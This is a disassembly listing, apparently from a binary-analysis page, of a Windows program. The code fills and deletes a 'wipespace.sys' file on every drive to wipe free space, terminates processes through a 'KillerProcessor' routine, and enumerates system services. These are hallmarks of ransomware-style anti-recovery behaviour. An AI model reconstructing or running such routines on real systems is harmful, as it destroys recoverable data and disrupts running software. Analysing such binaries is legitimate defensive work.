Similarity

0044f150
0044f150fn_44f150:
0044f150push rbp
0044f151push rbx
0044f152sub rsp, 72
0044f156mov rbp, rsp
0044f159mov [rbp+48], rcx
0044f15dmov [rbp+56], 0
0044f165mov [rbp+104], rdx
0044f169lea rcx, [rbp+104]
0044f16dcall fn_40bf00
0044f172nop
0044f173mov rcx, [rbp+48]
0044f177call fn_40bd90
0044f17cxor eax, eax
0044f17emov rcx, [rbp+104]
0044f182test rcx, rcx
0044f185je 0x44f18d
0044f187mov eax, [rcx-4]
0044f18ashr eax, 1
0044f18d
0044f18dloc_44f18d:
0044f18dtest eax, eax
0044f18fje 0x44f2b8
0044f195mov rax, [rbp+104]
0044f199movzx rax, [rax]
0044f19dcmp ax, 92
0044f1a1jne 0x44f28f
0044f1a7xor eax, eax
0044f1a9test rcx, rcx
0044f1acje 0x44f1b4
0044f1aemov eax, [rcx-4]
0044f1b1shr eax, 1
0044f1b4
0044f1b4loc_44f1b4:
0044f1b4lea rcx, [rbp+104]
0044f1b8mov rdx, [rbp+104]
0044f1bcmov r8l, 3
0044f1c2mov r9l, eax
0044f1c5call fn_40d650
0044f1camov rbx, [rbp+104]
0044f1celea rcx, [rip+311]
0044f1d5mov rdx, rbx
0044f1d8mov r8l, 1
0044f1decall fn_40de90
0044f1e3mov rcx, [rbp+48]
0044f1e7mov rdx, [rbp+104]
0044f1ebmov r8l, 1
0044f1f1mov r9l, eax
0044f1f4call fn_40d650
0044f1f9lea rcx, [rip+268]
0044f200mov rdx, rbx
0044f203mov r8l, 1
0044f209call fn_40de90
0044f20emov ecx, eax
0044f210add ecx, 1
0044f213xor eax, eax
0044f215test rbx, rbx
0044f218je 0x44f220
0044f21amov eax, [rbx-4]
0044f21dshr eax, 1
0044f220
0044f220loc_44f220:
0044f220lea rdx, [rbp+104]
0044f224mov r8, [rbp+104]
0044f228mov r9l, ecx
0044f22bmov rcx, rdx
0044f22emov rdx, r8
0044f231mov r8l, r9l
0044f234mov r9l, eax
0044f237call fn_40d650
0044f23clea rcx, [rip+201]
0044f243mov rdx, [rbp+104]
0044f247mov r8l, 1
0044f24dcall fn_40de90
0044f252lea rcx, [rbp+104]
0044f256mov rdx, [rbp+104]
0044f25amov r8l, 1
0044f260mov r9l, eax
0044f263call fn_40d650
0044f268mov rcx, [rbp+48]
0044f26cmov edx, 3
0044f271lea r8, [rip+156]
0044f278mov rax, [rbp+48]
0044f27cmov r9, [rax]
0044f27fmov rax, [rbp+104]
0044f283mov [rsp+32], rax
0044f288call fn_40d530
0044f28djmp 0x44f2b7
0044f28f
0044f28floc_44f28f:
0044f28flea rcx, [rbp+56]
0044f293mov edx, eax
0044f295call fn_40d730
0044f29alea rcx, [rbp+56]
0044f29elea rdx, [rip+131]
0044f2a5call fn_40d9b0
0044f2aamov rcx, [rbp+48]
0044f2aemov rdx, [rbp+56]
0044f2b2call fn_40d850
0044f2b7
0044f2b7loc_44f2b7:
0044f2b7nop
0044f2b8
0044f2b8loc_44f2b8:
0044f2b8lea rcx, [rbp+56]
0044f2bccall fn_40bcf0
0044f2c1lea rcx, [rbp+104]
0044f2c5call fn_40bd90
0044f2camov rax, [rbp+48]
0044f2celea rsp, [rbp+72]
0044f2d2pop rbx
0044f2d3pop rbp
0044f2d4ret
0044f150

0044f2d5
0044f2d5 48 8b c0 48 8d 04 05 00 00 00 00 H..H.......

0044f2e0
0044f2e0fn_44f2e0:
0044f2e0push rbp
0044f2e1push rbx
0044f2e2sub rsp, 40
0044f2e6mov rbp, rsp
0044f2e9mov rbx, rdx
0044f2eclea rcx, [rbx+56]
0044f2f0call fn_40bcf0
0044f2f5lea rcx, [rbx+104]
0044f2f9call fn_40bd90
0044f2felea rsp, [rbp+40]
0044f302pop rbx
0044f303pop rbp
0044f304ret
0044f2e0

0044f305
0044f305 00 00 00 02 00 00 00 5c 00 00 00 .......\...
0044f310 04 00 00 00 5c 00 5c 00 00 00 00 00 b0 04 02 00 ....\.\.........
0044f320 ff ff ff ff 01 00 00 00 3a 00 00 00 cc cc cc cc ........:.......

0044f330
0044f330fn_44f330:
0044f330push rbp
0044f331push rbx
0044f332sub rsp, 88
0044f336mov rbp, rsp
0044f339mov [rbp+40], 0
0044f341mov [rbp+112], rcx
0044f345lea rcx, [rbp+112]
0044f349call fn_40bf00
0044f34enop
0044f34for rax, -1
0044f353mov [rbp+32], rax
0044f357mov bl, 10
0044f359
0044f359loc_44f359:
0044f359lea rcx, [rbp+40]
0044f35dmov rdx, [rbp+112]
0044f361call fn_44f150
0044f366mov rcx, [rbp+40]
0044f36acall fn_40d180
0044f36fmov rcx, rax
0044f372lea rdx, [rbp+72]
0044f376lea r8, [rbp+56]
0044f37alea r9, [rbp+64]
0044f37ecall GetDiskFreeSpaceExW
0044f383test eax, eax
0044f385je 0x44f391
0044f387mov rax, [rbp+72]
0044f38bmov [rbp+32], rax
0044f38fjmp 0x44f3a4
0044f391
0044f391loc_44f391:
0044f391mov ecx, 100
0044f396call Sleep
0044f39bsub bl, 1
0044f39etest bl, bl
0044f3a0jne 0x44f359
0044f3a2nop
0044f3a3nop
0044f3a4
0044f3a4loc_44f3a4:
0044f3a4lea rcx, [rbp+40]
0044f3a8call fn_40bd90
0044f3adlea rcx, [rbp+112]
0044f3b1call fn_40bd90
0044f3b6mov rax, [rbp+32]
0044f3balea rsp, [rbp+88]
0044f3bepop rbx
0044f3bfpop rbp
0044f3c0ret
0044f330

0044f3c1
0044f3c1 48 8d 80 00 00 00 00 48 8d 04 05 00 00 00 00 H......H.......

0044f3d0
0044f3d0fn_44f3d0:
0044f3d0push rbp
0044f3d1push rbx
0044f3d2sub rsp, 40
0044f3d6mov rbp, rsp
0044f3d9mov rbx, rdx
0044f3dclea rcx, [rbx+40]
0044f3e0call fn_40bd90
0044f3e5lea rcx, [rbx+112]
0044f3e9call fn_40bd90
0044f3eelea rsp, [rbp+40]
0044f3f2pop rbx
0044f3f3pop rbp
0044f3f4ret
0044f3d0

0044f3f5
0044f3f5 // align 0x10

0044f400
0044f400fn_44f400:
0044f400push rbp
0044f401sub rsp, 112
0044f405mov rbp, rsp
0044f408mov [rbp+64], rcx
0044f40cmov [rbp+88], 0
0044f414mov [rbp+80], 0
0044f41cmov [rbp+104], 0
0044f424mov [rbp+96], 0
0044f42cmov [rbp+136], rdx
0044f433lea rcx, [rbp+136]
0044f43acall fn_40bf00
0044f43fnop
0044f440mov al, 1
0044f442mov [rbp+79], al
0044f445lea rcx, [rbp+96]
0044f449mov rdx, [rbp+136]
0044f450lea r8, [rip+301]
0044f457call fn_40d230
0044f45clea rcx, [rbp+104]
0044f460mov rdx, [rbp+96]
0044f464call fn_42f780
0044f469mov rcx, [rbp+104]
0044f46dcall fn_40d180
0044f472mov rcx, rax
0044f475mov edx, 0xffffffffc0000000
0044f47axor r8, r8
0044f47dxor r9, r9
0044f480mov [rsp+32], 3
0044f488mov [rsp+40], 128
0044f490mov [rsp+48], 0
0044f499call CreateFileW
0044f49emov rcx, [rbp+64]
0044f4a2mov [rcx], rax
0044f4a5mov rax, [rbp+64]
0044f4a9cmp [rax], -1
0044f4adjne 0x44f51f
0044f4aflea rcx, [rbp+80]
0044f4b3mov rdx, [rbp+136]
0044f4balea r8, [rip+195]
0044f4c1call fn_40d230
0044f4c6lea rcx, [rbp+88]
0044f4camov rdx, [rbp+80]
0044f4cecall fn_42f780
0044f4d3mov rcx, [rbp+88]
0044f4d7call fn_40d180
0044f4dcmov rcx, rax
0044f4dfmov edx, 0xffffffffc0000000
0044f4e4xor r8, r8
0044f4e7xor r9, r9
0044f4eamov [rsp+32], 1
0044f4f2mov [rsp+40], 128
0044f4famov [rsp+48], 0
0044f503call CreateFileW
0044f508mov rcx, [rbp+64]
0044f50cmov [rcx], rax
0044f50fmov rax, [rbp+64]
0044f513cmp [rax], -1
0044f517jne 0x44f51f
0044f519xor eax, eax
0044f51bmov [rbp+79], al
0044f51enop
0044f51f
0044f51floc_44f51f:
0044f51flea rcx, [rbp+80]
0044f523mov edx, 4
0044f528call fn_40be70
0044f52dlea rcx, [rbp+136]
0044f534call fn_40bd90
0044f539movzx rax, [rbp+79]
0044f53elea rsp, [rbp+112]
0044f542pop rbp
0044f543ret
0044f400

0044f544
0044f544 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......

0044f550
0044f550fn_44f550:
0044f550push rbp
0044f551push rbx
0044f552sub rsp, 40
0044f556mov rbp, rsp
0044f559mov rbx, rdx
0044f55clea rcx, [rbx+80]
0044f560mov edx, 4
0044f565call fn_40be70
0044f56alea rcx, [rbx+136]
0044f571call fn_40bd90
0044f576lea rsp, [rbp+40]
0044f57apop rbx
0044f57bpop rbp
0044f57cret
0044f550

0044f57d
0044f57d 00 00 00 ...
0044f580 1a 00 00 00 77 00 69 00 70 00 65 00 73 00 70 00 ....w.i.p.e.s.p.
0044f590 61 00 63 00 65 00 2e 00 73 00 79 00 73 00 00 00 a.c.e...s.y.s...

0044f5a0
0044f5a0fn_44f5a0:
0044f5a0push rbp
0044f5a1push rdi
0044f5a2push rsi
0044f5a3push rbx
0044f5a4sub rsp, 136
0044f5abmov rbp, rsp
0044f5aemovdqa [rbp+112], x6
0044f5b3mov [rbp+56], 0
0044f5bbmov [rbp+48], 0
0044f5c3mov [rbp+64], 0
0044f5cbmov [rbp+72], 0
0044f5d3mov [rbp+96], 0
0044f5dbmov [rbp+176], rcx
0044f5e2lea rcx, [rbp+176]
0044f5e9call fn_40bf00
0044f5eenop
0044f5efmov rax, [rip+0x149ca]
0044f5f6cmp [rax+308], 0
0044f5fdje 0x44f61a
0044f5fflea rcx, [rbp+72]
0044f603mov rdx, [rbp+176]
0044f60acall fn_40d820
0044f60fmov rcx, [rbp+72]
0044f613xor edx, edx
0044f615call fn_439060
0044f61a
0044f61aloc_44f61a:
0044f61amov rcx, [rbp+176]
0044f621call fn_44f330
0044f626mov rbx, rax
0044f629test rbx, rbx
0044f62cjg 0x44f65e
0044f62emov rax, [rip+0x1498b]
0044f635cmp [rax+308], 0
0044f63cje 0x44f804
0044f642lea rcx, [rip+623]
0044f649xor edx, edx
0044f64bcall fn_439060
0044f650xor ecx, ecx
0044f652xor edx, edx
0044f654call fn_439060
0044f659jmp 0x44f804
0044f65e
0044f65eloc_44f65e:
0044f65elea rcx, [rbp+104]
0044f662mov rdx, [rbp+176]
0044f669call fn_44f400
0044f66etest al, al
0044f670jne 0x44f6a2
0044f672mov rax, [rip+0x14947]
0044f679cmp [rax+308], 0
0044f680je 0x44f804
0044f686lea rcx, [rip+711]
0044f68dxor edx, edx
0044f68fcall fn_439060
0044f694xor ecx, ecx
0044f696xor edx, edx
0044f698call fn_439060
0044f69djmp 0x44f804
0044f6a2
0044f6a2loc_44f6a2:
0044f6a2lea rcx, [rbp+96]
0044f6a6mov rdx, [rip-0x2088d]
0044f6adcall fn_410600
0044f6b2lea rcx, [rbp+96]
0044f6b6mov rdx, [rip-0x2089d]
0044f6bdmov r8l, 1
0044f6c3mov r9l, 0x100000
0044f6c9call fn_410430
0044f6cexor esi, esi
0044f6d0mov dil, 1
0044f6d3lea rcx, [rip+790]
0044f6daxor edx, edx
0044f6dccall fn_438e40
0044f6e1jmp 0x44f79a
0044f6e6
0044f6e6loc_44f6e6:
0044f6e6mov rcx, [rbp+104]
0044f6eamov rdx, rsi
0044f6edxor r8, r8
0044f6f0xor r9, r9
0044f6f3call SetFilePointerEx
0044f6f8mov rcx, [rbp+104]
0044f6fcmov rdx, [rbp+96]
0044f700mov r8l, 0x100000
0044f706lea r9, [rbp+92]
0044f70amov [rsp+32], 0
0044f713call WriteFile
0044f718add rsi, 0x100000
0044f71fmov rax, [rip+0x1489a]
0044f726cmp [rax+308], 0
0044f72dje 0x44f79a
0044f72fcmp rsi, rbx
0044f732jle 0x44f737
0044f734mov rsi, rbx
0044f737
0044f737loc_44f737:
0044f737cvtsi2sd x6, rsi
0044f73ccvtsi2sd x0, rbx
0044f741divsd x6, x0
0044f745mulsd x6, [rip+259]
0044f74djmp 0x44f78c
0044f74f
0044f74floc_44f74f:
0044f74fmovzx rax, dil
0044f753mov ecx, 10
0044f758xor edx, edx
0044f75adiv ecx
0044f75ctest edx, edx
0044f75ejne 0x44f77a
0044f760lea rcx, [rbp+64]
0044f764movzx rdx, dil
0044f768call fn_4225b0
0044f76dmov rcx, [rbp+64]
0044f771xor edx, edx
0044f773call fn_438e40
0044f778jmp 0x44f788
0044f77a
0044f77aloc_44f77a:
0044f77alea rcx, [rip+639]
0044f781xor edx, edx
0044f783call fn_438e40
0044f788
0044f788loc_44f788:
0044f788add dil, 1
0044f78c
0044f78cloc_44f78c:
0044f78cmovzx rax, dil
0044f790cvtsi2sd x0, eax
0044f794comisd x6, x0
0044f798jae 0x44f74f
0044f79a
0044f79aloc_44f79a:
0044f79acmp rsi, rbx
0044f79djl 0x44f6e6
0044f7a3mov rcx, [rbp+104]
0044f7a7call CloseHandle
0044f7aclea rcx, [rbp+48]
0044f7b0mov rdx, [rbp+176]
0044f7b7lea r8, [rip+586]
0044f7becall fn_40d230
0044f7c3lea rcx, [rbp+56]
0044f7c7mov rdx, [rbp+48]
0044f7cbcall fn_42f780
0044f7d0mov rcx, [rbp+56]
0044f7d4call fn_40d180
0044f7d9mov rcx, rax
0044f7dccall DeleteFileW
0044f7e1mov rax, [rip+0x147d8]
0044f7e8cmp [rax+308], 0
0044f7efje 0x44f803
0044f7f1xor ecx, ecx
0044f7f3xor edx, edx
0044f7f5call fn_439060
0044f7faxor ecx, ecx
0044f7fcxor edx, edx
0044f7fecall fn_439060
0044f803
0044f803loc_44f803:
0044f803nop
0044f804
0044f804loc_44f804:
0044f804lea rcx, [rbp+48]
0044f808mov edx, 2
0044f80dcall fn_40be70
0044f812lea rcx, [rbp+64]
0044f816mov edx, 2
0044f81bcall fn_40bdd0
0044f820lea rcx, [rbp+96]
0044f824mov rdx, [rip-0x20a0b]
0044f82bcall fn_410600
0044f830lea rcx, [rbp+176]
0044f837call fn_40bd90
0044f83cmovdqa x6, [rbp+112]
0044f841lea rsp, [rbp+136]
0044f848pop rbx
0044f849pop rsi
0044f84apop rdi
0044f84bpop rbp
0044f84cret
0044f5a0

0044f84d
0044f84d 48 8b c0 H..
0044f850 00 00 00 00 00 00 59 40 48 8d 04 05 00 00 00 00 ......Y@H.......

0044f860
0044f860fn_44f860:
0044f860push rbp
0044f861push rbx
0044f862sub rsp, 40
0044f866mov rbp, rsp
0044f869mov rbx, rdx
0044f86clea rcx, [rbx+48]
0044f870mov edx, 2
0044f875call fn_40be70
0044f87alea rcx, [rbx+64]
0044f87emov edx, 2
0044f883call fn_40bdd0
0044f888lea rcx, [rbx+96]
0044f88cmov rdx, [rip-0x20a73]
0044f893call fn_410600
0044f898lea rcx, [rbx+176]
0044f89fcall fn_40bd90
0044f8a4lea rsp, [rbp+40]
0044f8a8pop rbx
0044f8a9pop rbp
0044f8aaret
0044f860

0044f8ab
0044f8ab 00 b0 04 02 00 .....
0044f8b0 ff ff ff ff 46 00 00 00 57 00 41 00 52 00 4e 00 ....F...W.A.R.N.
0044f8c0 49 00 4e 00 47 00 3a 00 20 00 43 00 61 00 6e 00 I.N.G.:. .C.a.n.
0044f8d0 27 00 74 00 20 00 67 00 65 00 74 00 20 00 64 00 '.t. .g.e.t. .d.
0044f8e0 69 00 73 00 6b 00 20 00 66 00 72 00 65 00 65 00 i.s.k. .f.r.e.e.
0044f8f0 20 00 73 00 70 00 61 00 63 00 65 00 20 00 6f 00 .s.p.a.c.e. .o.
0044f900 72 00 20 00 64 00 69 00 73 00 6b 00 20 00 66 00 r. .d.i.s.k. .f.
0044f910 72 00 65 00 65 00 20 00 73 00 70 00 61 00 63 00 r.e.e. .s.p.a.c.
0044f920 65 00 20 00 69 00 73 00 20 00 30 00 2e 00 20 00 e. .i.s. .0... .
0044f930 53 00 6b 00 69 00 70 00 20 00 64 00 69 00 73 00 S.k.i.p. .d.i.s.
0044f940 6b 00 2e 00 00 00 00 00 b0 04 02 00 ff ff ff ff k...............
0044f950 46 00 00 00 57 00 41 00 52 00 4e 00 49 00 4e 00 F...W.A.R.N.I.N.
0044f960 47 00 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 G.:. .C.a.n.'.t.
0044f970 20 00 6f 00 70 00 65 00 6e 00 20 00 6f 00 72 00 .o.p.e.n. .o.r.
0044f980 20 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 .c.r.e.a.t.e. .
0044f990 77 00 69 00 70 00 65 00 73 00 70 00 61 00 63 00 w.i.p.e.s.p.a.c.
0044f9a0 65 00 2e 00 73 00 79 00 73 00 20 00 69 00 6e 00 e...s.y.s. .i.n.
0044f9b0 20 00 72 00 6f 00 6f 00 74 00 20 00 66 00 6f 00 .r.o.o.t. .f.o.
0044f9c0 6c 00 64 00 65 00 72 00 2e 00 20 00 53 00 6b 00 l.d.e.r... .S.k.
0044f9d0 69 00 70 00 20 00 64 00 69 00 73 00 6b 00 2e 00 i.p. .d.i.s.k...
0044f9e0 00 00 00 00 b0 04 02 00 ff ff ff ff 01 00 00 00 ................
0044f9f0 30 00 00 00 b0 04 02 00 ff ff ff ff 01 00 00 00 0...............
0044fa00 2e 00 00 00 1a 00 00 00 77 00 69 00 70 00 65 00 ........w.i.p.e.
0044fa10 73 00 70 00 61 00 63 00 65 00 2e 00 73 00 79 00 s.p.a.c.e...s.y.
0044fa20 73 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc s...............

0044fa30
0044fa30fn_44fa30:
0044fa30push rbp
0044fa31push rsi
0044fa32push rbx
0044fa33sub rsp, 64
0044fa37mov rbp, rsp
0044fa3amov [rbp+40], 0
0044fa42mov [rbp+56], 0
0044fa4amov [rbp+48], 0
0044fa52nop
0044fa53mov rax, [rip+0x14566]
0044fa5acmp [rax+308], 0
0044fa61je 0x44fa71
0044fa63lea rcx, [rip+350]
0044fa6axor edx, edx
0044fa6ccall fn_439060
0044fa71
0044fa71loc_44fa71:
0044fa71mov rax, [rip+0x14548]
0044fa78mov rax, [rax+760]
0044fa7fmov eax, [rax+16]
0044fa82test eax, eax
0044fa84je 0x44fb11
0044fa8axor ecx, ecx
0044fa8cmov esi, eax
0044fa8esub esi, 1
0044fa91mov ebx, ecx
0044fa93cmp ebx, esi
0044fa95jg 0x44fb0e
0044fa97sub esi, ecx
0044fa99add esi, 1
0044fa9c
0044fa9cloc_44fa9c:
0044fa9cmov rax, [rip+0x1451d]
0044faa3mov rax, [rax+760]
0044faaamov rax, [rax+8]
0044faaemovsxd rcx, ebx
0044fab1cmp [rax+8*rcx], 0
0044fab6je 0x44fb04
0044fab8lea rcx, [rbp+56]
0044fabcmov rax, [rip+0x144fd]
0044fac3mov rax, [rax+760]
0044facamov rax, [rax+8]
0044facemovsxd rdx, ebx
0044fad1mov rax, [rax+8*rdx]
0044fad5movzx rdx, [rax]
0044fad9call fn_40d730
0044fadelea rcx, [rbp+56]
0044fae2lea rdx, [rip+287]
0044fae9call fn_40d9b0
0044faeelea rcx, [rbp+48]
0044faf2mov rdx, [rbp+56]
0044faf6call fn_40d850
0044fafbmov rcx, [rbp+48]
0044faffcall fn_44f5a0
0044fb04
0044fb04loc_44fb04:
0044fb04add ebx, 1
0044fb07sub esi, 1
0044fb0atest esi, esi
0044fb0cjne 0x44fa9c
0044fb0e
0044fb0eloc_44fb0e:
0044fb0enop
0044fb0fjmp 0x44fb43
0044fb11
0044fb11loc_44fb11:
0044fb11xor ebx, ebx
0044fb13
0044fb13loc_44fb13:
0044fb13lea rcx, [rbp+40]
0044fb17mov edx, ebx
0044fb19add dl, 65
0044fb1ccall fn_40d050
0044fb21lea rcx, [rbp+40]
0044fb25lea rdx, [rip+232]
0044fb2ccall fn_40d1a0
0044fb31mov rcx, [rbp+40]
0044fb35call fn_44f5a0
0044fb3aadd ebx, 1
0044fb3dcmp ebx, 26
0044fb40jne 0x44fb13
0044fb42nop
0044fb43
0044fb43loc_44fb43:
0044fb43mov rax, [rip+0x14476]
0044fb4acmp [rax+308], 0
0044fb51je 0x44fb61
0044fb53lea rcx, [rip+206]
0044fb5axor edx, edx
0044fb5ccall fn_439060
0044fb61
0044fb61loc_44fb61:
0044fb61nop
0044fb62lea rcx, [rbp+40]
0044fb66mov edx, 2
0044fb6bcall fn_40be70
0044fb70lea rcx, [rbp+56]
0044fb74call fn_40bcf0
0044fb79lea rsp, [rbp+64]
0044fb7dpop rbx
0044fb7epop rsi
0044fb7fpop rbp
0044fb80ret
0044fa30

0044fb81
0044fb81 48 8d 80 00 00 00 00 48 8d 04 05 00 00 00 00 H......H.......

0044fb90
0044fb90fn_44fb90:
0044fb90push rbp
0044fb91push rbx
0044fb92sub rsp, 40
0044fb96mov rbp, rsp
0044fb99mov rbx, rdx
0044fb9clea rcx, [rbx+40]
0044fba0mov edx, 2
0044fba5call fn_40be70
0044fbaalea rcx, [rbx+56]
0044fbaecall fn_40bcf0
0044fbb3lea rsp, [rbp+40]
0044fbb7pop rbx
0044fbb8pop rbp
0044fbb9ret
0044fb90

0044fbba
0044fbba 00 00 b0 04 02 00 ......
0044fbc0 ff ff ff ff 18 00 00 00 54 00 72 00 79 00 20 00 ........T.r.y. .
0044fbd0 77 00 69 00 70 00 65 00 20 00 66 00 72 00 65 00 w.i.p.e. .f.r.e.
0044fbe0 65 00 20 00 64 00 69 00 73 00 6b 00 20 00 73 00 e. .d.i.s.k. .s.
0044fbf0 70 00 61 00 63 00 65 00 00 00 00 00 b0 04 02 00 p.a.c.e.........
0044fc00 ff ff ff ff 02 00 00 00 3a 00 5c 00 00 00 00 00 ........:.\.....
0044fc10 04 00 00 00 3a 00 5c 00 00 00 00 00 b0 04 02 00 ....:.\.........
0044fc20 ff ff ff ff 0b 00 00 00 45 00 4e 00 44 00 20 00 ........E.N.D. .
0044fc30 4f 00 46 00 20 00 57 00 49 00 50 00 45 00 00 00 O.F. .W.I.P.E...

0044fc40
0044fc40Unit57.finalization:
0044fc40add [rip+0x20b59], 1
0044fc47cmp [rip+0x20b52], 0
0044fc4eret
0044fc40

0044fc4f
0044fc4f // align 0x10

0044fc50
0044fc50Unit57.initialization:
0044fc50sub [rip+0x20b49], 1
0044fc57cmp [rip+0x20b42], -1
0044fc5eret
0044fc50

0044fc5f
0044fc5f // align 0x10

0044fc60
0044fc60CloseServiceHandle:
0044fc60jmp [rip+0x21db2]
0044fc60

0044fc66
0044fc66 // align 0x10

0044fc70
0044fc70EnumServicesStatusW:
0044fc70jmp [rip+0x21dea]
0044fc70

0044fc76
0044fc76 // align 0x10

0044fc80
0044fc80OpenSCManagerW:
0044fc80jmp [rip+0x21dc2]
0044fc80

0044fc86
0044fc86 // align 0x10

0044fc90
0044fc90Unit58.finalization:
0044fc90add [rip+0x20b0d], 1
0044fc97cmp [rip+0x20b06], 0
0044fc9eret
0044fc90

0044fc9f
0044fc9f // align 0x10

0044fca0
0044fca0Unit58.initialization:
0044fca0sub [rip+0x20afd], 1
0044fca7cmp [rip+0x20af6], -1
0044fcaeret
0044fca0

0044fcaf
0044fcaf // align 0x10

0044fcb0
0044fcb0EnumServicesStatusA:
0044fcb0jmp [rip+0x21da2]
0044fcb0

0044fcb6
0044fcb6 // align 0x10

0044fcc0
0044fcc0fn_44fcc0:
0044fcc0push rbp
0044fcc1push r13
0044fcc3push rdi
0044fcc4push rsi
0044fcc5push rbx
0044fcc6sub rsp, 688
0044fccdmov rbp, rsp
0044fcd0mov [rbp+72], 0
0044fcd8mov [rbp+56], 0
0044fce0mov [rbp+48], 0
0044fce8mov [rbp+32], 0
0044fcf0mov [rbp+40], 0
0044fcf8mov [rbp+64], 0
0044fd00mov [rbp+104], 0
0044fd08mov [rbp+88], 0
0044fd10mov [rbp+80], 0
0044fd18mov [rbp+96], 0
0044fd20nop
0044fd21mov ecx, 2
0044fd26xor edx, edx
0044fd28call fn_438870
0044fd2dmov rbx, rax
0044fd30mov [rbp+120], 568
0044fd37mov rcx, rbx
0044fd3alea rdx, [rbp+120]
0044fd3ecall fn_4388a0
0044fd43jmp 0x44fe80
0044fd48
0044fd48loc_44fd48:
0044fd48xor eax, eax
0044fd4amov rcx, [rip+0x1426f]
0044fd51mov rcx, [rcx+72]
0044fd55mov r13l, [rcx+16]
0044fd59sub r13l, 1
0044fd5dmov esi, eax
0044fd5fcmp esi, r13l
0044fd62jg 0x44fe73
0044fd68sub r13l, eax
0044fd6badd r13l, 1
0044fd6f
0044fd6floc_44fd6f:
0044fd6fmovsxd rdi, esi
0044fd72lea rcx, [rbp+96]
0044fd76mov rax, [rip+0x14243]
0044fd7dmov rax, [rax+72]
0044fd81mov rax, [rax+8]
0044fd85mov rdx, [rax+8*rdi]
0044fd89call fn_40d850
0044fd8elea rcx, [rbp+104]
0044fd92mov rdx, [rbp+96]
0044fd96call fn_4220f0
0044fd9blea rcx, [rbp+80]
0044fd9flea rdx, [rbp+164]
0044fda6mov r8l, 260
0044fdaccall fn_40d110
0044fdb1lea rcx, [rbp+88]
0044fdb5mov rdx, [rbp+80]
0044fdb9call fn_4220f0
0044fdbemov rcx, [rbp+104]
0044fdc2mov rdx, [rbp+88]
0044fdc6call fn_40d640
0044fdcbtest eax, eax
0044fdcdje 0x44fe46
0044fdcflea rcx, [rbp+64]
0044fdd3mov rax, [rip+0x141e6]
0044fddamov rax, [rax+72]
0044fddemov rax, [rax+8]
0044fde2mov rdx, [rax+8*rdi]
0044fde6call fn_40d850
0044fdeblea rcx, [rbp+72]
0044fdefmov rdx, [rbp+64]
0044fdf3call fn_4220f0
0044fdf8lea rcx, [rbp+40]
0044fdfclea rdx, [rbp+164]
0044fe03mov r8l, 260
0044fe09call fn_40d7b0
0044fe0elea rcx, [rbp+48]
0044fe12mov rdx, [rbp+40]
0044fe16call fn_422b70
0044fe1blea rcx, [rbp+32]
0044fe1fmov rdx, [rbp+48]
0044fe23call fn_40d850
0044fe28lea rcx, [rbp+56]
0044fe2cmov rdx, [rbp+32]
0044fe30call fn_4220f0
0044fe35mov rcx, [rbp+72]
0044fe39mov rdx, [rbp+56]
0044fe3dcall fn_40d640
0044fe42test eax, eax
0044fe44jne 0x44fe63
0044fe46
0044fe46loc_44fe46:
0044fe46mov ecx, 1
0044fe4bxor edx, edx
0044fe4dmov r8l, [rbp+128]
0044fe54call OpenProcess
0044fe59mov rcx, rax
0044fe5cxor edx, edx
0044fe5ecall TerminateProcess
0044fe63
0044fe63loc_44fe63:
0044fe63add esi, 1
0044fe66sub r13l, 1
0044fe6atest r13l, r13l
0044fe6djne 0x44fd6f
0044fe73
0044fe73loc_44fe73:
0044fe73nop
0044fe74mov rcx, rbx
0044fe77lea rdx, [rbp+120]
0044fe7bcall fn_4388d0
0044fe80
0044fe80loc_44fe80:
0044fe80test eax, eax
0044fe82jne 0x44fd48
0044fe88mov rcx, rbx
0044fe8bcall CloseHandle
0044fe90nop
0044fe91lea rcx, [rbp+32]
0044fe95call fn_40bd90
0044fe9alea rcx, [rbp+40]
0044fe9emov edx, 2
0044fea3call fn_40bdd0
0044fea8lea rcx, [rbp+56]
0044feacmov edx, 7
0044feb1call fn_40be70
0044feb6lea rsp, [rbp+688]
0044febdpop rbx
0044febepop rsi
0044febfpop rdi
0044fec0pop r13
0044fec2pop rbp
0044fec3ret
0044fcc0

0044fec4
0044fec4 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......

0044fed0
0044fed0fn_44fed0:
0044fed0push rbp
0044fed1push rbx
0044fed2sub rsp, 40
0044fed6mov rbp, rsp
0044fed9mov rbx, rdx
0044fedclea rcx, [rbx+32]
0044fee0call fn_40bd90
0044fee5lea rcx, [rbx+40]
0044fee9mov edx, 2
0044feeecall fn_40bdd0
0044fef3lea rcx, [rbx+56]
0044fef7mov edx, 7
0044fefccall fn_40be70
0044ff01lea rsp, [rbp+40]
0044ff05pop rbx
0044ff06pop rbp
0044ff07ret
0044fed0

0044ff08
0044ff08 10 ff 44 00 00 00 00 00 ..D.....
0044ff10 11 02 3a 31 01 00 00 00 00 00 00 00 00 00 00 00 ..:1............
0044ff20 11 00 00 00 98 10 40 00 00 00 00 00 0f 4b 69 6c ......@......Kil
0044ff30 6c 65 72 50 72 6f 63 65 73 73 6f 72 98 10 40 00 lerProcessor..@.
0044ff40 00 00 00 00 02 00 cc cc cc cc cc cc cc cc cc cc ................

0044ff50
0044ff50fn_44ff50:
0044ff50push rbp
0044ff51push rbx
0044ff52sub rsp, 232
0044ff59mov rbp, rsp
0044ff5cmov [rbp+96], 0
0044ff64mov [rbp+88], 0
0044ff6cmov [rbp+80], 0
0044ff74mov [rbp+128], 0
0044ff7fmov [rbp+112], 0
0044ff87mov [rbp+104], 0
0044ff8fmov [rbp+120], 0
0044ff97mov [rbp+184], 0
0044ffa2mov [rbp+136], rbp
0044ffa9nop
0044ffaamov [rbp+176], 0
0044ffb5lea rcx, [rip+920]
0044ffbcxor edx, edx
0044ffbemov r8l, 5
0044ffc4call OpenSCManagerW
0044ffc9mov [rbp+216], rax
0044ffd0cmp [rbp+216], 0
0044ffd8je 0x4502ba
0044ffdenop
0044ffdfmov [rbp+196], 0
0044ffe9mov rcx, [rbp+216]
0044fff0mov edx, 304
0044fff5mov r8l, 1
0044fffbxor r9, r9
0044fffemov [rsp+32], 0
00450006lea rax, [rbp+204]
0045000dmov [rsp+40], rax
00450012lea rax, [rbp+200]
00450019mov [rsp+48], rax
0045001elea rax, [rbp+196]
00450025mov [rsp+56], rax
0045002acall EnumServicesStatusA
0045002ftest eax, eax
00450031jne 0x4500fe
00450037call GetLastError
0045003ccmp eax, 122
0045003fje 0x450052
00450041call GetLastError
00450046cmp eax, 234
0045004cjne 0x4502aa
00450052
00450052loc_450052:
00450052lea rcx, [rbp+184]
